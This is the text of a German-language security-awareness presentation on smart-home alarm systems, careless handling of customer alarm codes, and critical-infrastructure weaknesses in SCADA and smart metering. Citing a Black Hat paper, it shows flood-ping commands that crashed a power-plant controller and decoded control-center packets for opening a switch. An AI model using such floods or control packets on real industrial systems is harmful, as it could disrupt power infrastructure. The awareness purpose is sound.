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CYBER SECURITY AUSTRIA 

Verein zur Förderung der Sicherheit Österreichs strategischer Infrastruktur 

 

The new Smart World 
Einfluss der IKT Sicherheit 

auf kritische Infrastrukturen 



 
 Schlüssellos 
 
 Brandmeldung 
 
 Alarmanlage 

Was meine Frau wollte 

Ein neues Haus, aber... 



Lessons learned... 



Brandmeldung 

 Brandmelder 
 

 Nicht in der Küche 
 
 Keine direkte Alarmierung der Feuerwehr 
 
 Wenn´s doch brennt – wie kommen die rein ? 

 
 Feuerwehrschlüsseltresor ! 
 



Fingerprintreader 

 „INFO Terminal“ 
 

 Terminal leuchtet grün wenn Anlage aus 
 
 Terminal leuchtet rot wenn Anlage scharf 
 
 Einbrucheinladungssystem/Abhilfe ? 
 

Mühevolles umprogrammieren  
der Firmware ? 
 
 



und dann kam´s Übel 

 Service Techniker hatte 
 

 Parameter der Anlage 
 
 Alarmcodes im Klartext 
 
 Daten am Firmenserver abgelegt 
 
 Alle Daten ALLER Kundenanlagen auf seinem Notebook 
 
 keine Notebookverschlüsselung ! 



Was ich bekommen habe... 



Nur ein Beispiel ? 









SCADA Netzwerk Bsp.  
(System Control And Data Acquisition) 

https://media.blackhat.com/bh-us-10/whitepapers/Pollet_Cummins/BlackHat-USA-2010-Pollet-Cummings-RTS-Electricity-for-Free-wp.pdf 



Beispiel SPS im Kraftwerk 

ping -f -s 600 (target IP Address)  

PING 11.128.66.170 (11.128.66.170): 600 data bytes 

.........................................................................................................................................................  

 

11.128.66.170 ping statistics --- 497 packets transmitted, 32 packets received, 93% packet loss 

 

(The device lost communications and was unreachable on the network. The device was not 

reachable by SCADA scans, but came back up in a few seconds after the attack was over.) 

 

ping -f -s 60000 (target IP Address)   

PING 11.128.66.170 (11.128.66.170): 60000 data bytes 

......................................................................................................................................................... 

 

11.128.66.170 ping statistics --- 819 packets transmitted, 0 packets received, 100% packet loss 

 

(The device lost communications and was unreachable on the network. The device was not 

reachable by SCADA scans, and it went from a RUN to a FAULTED state. All configuration 

was lost, and we had to recycle power, then transfer the configuration back to the device 

over a serial connection to restore its operation.) 

https://media.blackhat.com/bh-us-10/whitepapers/Pollet_Cummins/BlackHat-USA-2010-Pollet-Cummings-RTS-Electricity-for-Free-wp.pdf 



Beispiel 

Control Center Datenpakete: 

 

0a 07 d9 08 3b 92 0b af 00 0b 
Öffnen Schalter (92ob)  

Addresse (d9083b) 

 

0a 08 80 b5 cc 91 01 00 0b 
Lesen der Frequenz (9101) im KW #11 

Addresse (80b5cc) 

 

 

 

 

 

 

 

 

 

 

 

Referenz http://www.c4-security.com/c4/resources 



Energie – SDH 

21.8.2011 17:46 

Quelle: http://www.meinberg.de/german/info/time-synchronization-telecom-networks.htm 



Energie – Smart Metering 

21.8.2011 17:46 

Einführung eines IT-Systems mit Abschaltfunktion ! 
 
 

 

Bild: Energie AG 



Awareness 

 Security Awareness ist überall ein Problem 
 

 Web Design/Visualisierung 
 

 Inputvalidierung 
 Datenbankanbindung 

 
 SCADA, Leittechnik 

 

 Patches erst nach Monaten verfügbar und dann ? 
 Wann einspielen ? Wie ? Haftung etc. 
 Vulnerabilitäten halten sich jahrelang 

 

 Steuerungselektronik 
 

 Kommunikation unverschlüsselt, nicht authentifiziert 
 einfachstes Design – z.b. KNX 
 Safety im Vordergrund, Security unbeachtet 

 

 (Medizintechnik, SmartMetering, M2M, Verkehrsleitsysteme) 
 



Die Sicht der Dinge 

Ich möchte im Schlaf 
sterben wie mein Großvater 

und nicht heulend und 
schreiend wie seine Beifahrer 

! 

(Werner Finck) 




